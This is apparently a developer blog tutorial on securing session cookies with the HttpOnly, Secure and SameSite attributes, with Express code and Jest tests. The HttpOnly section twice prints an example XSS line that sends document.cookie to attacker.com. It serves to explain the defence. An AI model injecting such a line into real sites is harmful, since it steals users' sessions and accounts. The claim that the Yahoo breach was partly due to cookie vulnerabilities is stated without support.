Cookie Security: HttpOnly, Secure, SameSite Attributes

Cookies remain the backbone of web authentication despite the rise of token-based systems. A compromised session cookie gives attackers complete access to user accounts—no password required. The 2013...

Key Insights

  • HttpOnly, Secure, and SameSite attributes form a defense-in-depth strategy that protects against XSS, man-in-the-middle, and CSRF attacks respectively—use all three together for production session cookies.
  • Modern browsers default to SameSite=Lax when unspecified, breaking some legitimate cross-site scenarios; explicitly set SameSite=None with Secure for third-party integrations.
  • A single misconfigured cookie attribute can expose your entire authentication system—always test cookie behavior in production-like environments with HTTPS enabled.

Cookies remain the backbone of web authentication despite the rise of token-based systems. A compromised session cookie gives attackers complete access to user accounts—no password required. The 2013 Yahoo breach exposed 3 billion accounts partly due to cookie vulnerabilities. More recently, session hijacking through stolen cookies has become the preferred method for attackers, bypassing even multi-factor authentication.

The three cookie security attributes—HttpOnly, Secure, and SameSite—aren’t optional features. They’re essential safeguards against different attack vectors. Yet many applications still ship with insecure defaults:

// Insecure: vulnerable to XSS, MITM, and CSRF attacks
res.cookie('sessionId', userSessionToken);

// What actually gets set:
// sessionId=abc123; Path=/
// Accessible via JavaScript, sent over HTTP, sent cross-site

This cookie is a security disaster waiting to happen. Let’s fix it.

HttpOnly Attribute: Preventing XSS Attacks

The HttpOnly flag prevents client-side JavaScript from accessing cookies through document.cookie. This single attribute blocks the most common session hijacking vector: cross-site scripting (XSS) attacks.

When an attacker injects malicious JavaScript into your application, their first target is session cookies. Without HttpOnly protection, stealing credentials is trivial:

// Attacker's injected script (XSS attack)
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Setting HttpOnly on the server side blocks this entirely:

// Express/Node.js
app.post('/login', (req, res) => {
  const sessionToken = generateSecureToken();
  
  res.cookie('sessionId', sessionToken, {
    httpOnly: true  // JavaScript cannot access this cookie
  });
  
  res.json({ success: true });
});

Now let’s verify the protection works:

// Client-side JavaScript
console.log(document.cookie);
// Output: "analytics=xyz789; preferences=dark-mode"
// sessionId is NOT visible - it's HttpOnly

// Attacker's script fails silently
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Only non-HttpOnly cookies are stolen

Important limitation: HttpOnly doesn’t prevent all XSS damage. Attackers can still make authenticated requests on behalf of the user. But it eliminates the most dangerous scenario—exfiltrating session tokens for use outside the victim’s browser.

Browser support is universal (IE6+), so there’s no excuse not to use HttpOnly for authentication cookies.

Secure Attribute: Enforcing HTTPS

The Secure flag ensures cookies only transmit over HTTPS connections. Without it, session cookies travel in plaintext over HTTP, vulnerable to network sniffing and man-in-the-middle attacks.

On a coffee shop WiFi network, an attacker can intercept HTTP traffic and extract session cookies in seconds. The Secure attribute prevents this:

// Express/Node.js
app.post('/login', (req, res) => {
  res.cookie('sessionId', sessionToken, {
    httpOnly: true,
    secure: true  // Only sent over HTTPS
  });
});

Critical requirement: Your application must serve over HTTPS for Secure cookies to work. The browser simply won’t send Secure cookies over HTTP connections.

Development environment considerations:

// Development configuration
const isProduction = process.env.NODE_ENV === 'production';

app.post('/login', (req, res) => {
  res.cookie('sessionId', sessionToken, {
    httpOnly: true,
    secure: isProduction,  // HTTPS in production, HTTP in dev
    sameSite: isProduction ? 'strict' : 'lax'
  });
});

Better approach: use HTTPS everywhere, even in development. Tools like mkcert make local HTTPS trivial:

# Install mkcert and create local certificates
mkcert -install
mkcert localhost

# Use certificates in Express
const https = require('https');
const fs = require('fs');

https.createServer({
  key: fs.readFileSync('localhost-key.pem'),
  cert: fs.readFileSync('localhost.pem')
}, app).listen(3000);

Now you can test Secure cookies locally without compromising production security settings.

SameSite Attribute: CSRF Protection

SameSite prevents browsers from sending cookies with cross-site requests, blocking Cross-Site Request Forgery (CSRF) attacks. It has three values, each with distinct behavior:

SameSite=Strict: Cookie never sent on cross-site requests, even when clicking links.

res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// User clicks link from email to https://yourapp.com/dashboard
// Cookie is NOT sent - user appears logged out
// After page loads, subsequent requests include the cookie

Strict provides maximum security but breaks user experience. Users clicking email links appear logged out initially.

SameSite=Lax: Cookie sent on top-level navigation (clicking links) but not on embedded requests (images, iframes, fetch).

res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // Default in modern browsers
});

// User clicks email link to https://yourapp.com/dashboard
// Cookie IS sent - user stays logged in ✓

// Attacker's site makes POST request to https://yourapp.com/transfer
// Cookie is NOT sent - CSRF attack fails ✓

Lax balances security and usability. It’s the right choice for most session cookies.

SameSite=None: Cookie sent on all requests, including cross-site. Requires Secure attribute.

// Third-party integration (embedded widget, OAuth)
res.cookie('widgetSession', token, {
  httpOnly: true,
  secure: true,  // Required with SameSite=None
  sameSite: 'none'
});

Use SameSite=None only when you need cross-site cookie access—embedded widgets, third-party integrations, or OAuth flows.

Here’s a practical comparison:

// Scenario: User visits attacker.com which embeds yourapp.com

// With SameSite=Strict or Lax
fetch('https://yourapp.com/api/user', {
  credentials: 'include'
});
// Cookie NOT sent - API returns 401 Unauthorized

// With SameSite=None
fetch('https://yourapp.com/api/user', {
  credentials: 'include'
});
// Cookie sent - but only if legitimately needed for third-party integration

Combining Attributes: Best Practices

Use all three attributes together for authentication cookies:

// Production-ready session cookie
app.post('/login', async (req, res) => {
  const user = await authenticateUser(req.body);
  const sessionToken = await createSession(user.id);
  
  res.cookie('sessionId', sessionToken, {
    httpOnly: true,    // Prevent XSS
    secure: true,      // Require HTTPS
    sameSite: 'lax',   // Prevent CSRF, allow top-level navigation
    maxAge: 24 * 60 * 60 * 1000,  // 24 hours
    path: '/',
    domain: process.env.COOKIE_DOMAIN  // '.example.com' for subdomain sharing
  });
  
  res.json({ success: true });
});

Different cookie types need different configurations:

// Session cookie (highest security)
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'  // or 'lax' for better UX
});

// Analytics cookie (can be accessed by JavaScript)
res.cookie('analytics', userId, {
  httpOnly: false,  // Needs JS access
  secure: true,
  sameSite: 'lax',
  maxAge: 365 * 24 * 60 * 60 * 1000  // 1 year
});

// Third-party integration cookie
res.cookie('oauth_state', state, {
  httpOnly: true,
  secure: true,
  sameSite: 'none',  // Cross-site required
  maxAge: 10 * 60 * 1000  // 10 minutes
});

Browser Compatibility and Fallbacks

Modern browsers (Chrome 80+, Firefox 69+, Safari 13+) default to SameSite=Lax when the attribute isn’t specified. This breaks older applications expecting cookies to work cross-site.

Check if SameSite is supported and set explicitly:

const userAgent = req.headers['user-agent'];
const isModernBrowser = !userAgent.includes('Chrome/5') && 
                        !userAgent.includes('Safari/12');

res.cookie('sessionId', token, {
  httpOnly: true,
  secure: true,
  ...(isModernBrowser && { sameSite: 'lax' })
});

Better approach: always set SameSite explicitly. The specification has been stable since 2020.

Testing and Verification

Verify cookie attributes in Chrome DevTools: Application tab → Cookies. Check the HttpOnly, Secure, and SameSite columns.

Automate testing with Jest and Supertest:

const request = require('supertest');
const app = require('./app');

describe('Cookie Security', () => {
  test('session cookie has security attributes', async () => {
    const response = await request(app)
      .post('/login')
      .send({ username: 'test', password: 'password' });
    
    const cookies = response.headers['set-cookie'];
    const sessionCookie = cookies.find(c => c.startsWith('sessionId='));
    
    expect(sessionCookie).toMatch(/HttpOnly/);
    expect(sessionCookie).toMatch(/Secure/);
    expect(sessionCookie).toMatch(/SameSite=Lax/);
  });
  
  test('HttpOnly cookie not accessible via JavaScript', async () => {
    // This test runs in a real browser context using Puppeteer
    const page = await browser.newPage();
    await page.goto('http://localhost:3000/login');
    
    const cookies = await page.evaluate(() => document.cookie);
    expect(cookies).not.toContain('sessionId');
  });
});

Production checklist:

  • All authentication cookies use HttpOnly, Secure, and SameSite
  • HTTPS enforced site-wide (HSTS headers set)
  • Cookie domains explicitly configured
  • Short expiration times for sensitive cookies
  • Regular security audits of cookie configurations

Cookie security isn’t complicated, but it’s unforgiving. Set these three attributes correctly, test thoroughly, and you’ll eliminate entire categories of attacks.

Liked this? There's more.

Every week: one practical technique, explained simply, with code you can use immediately.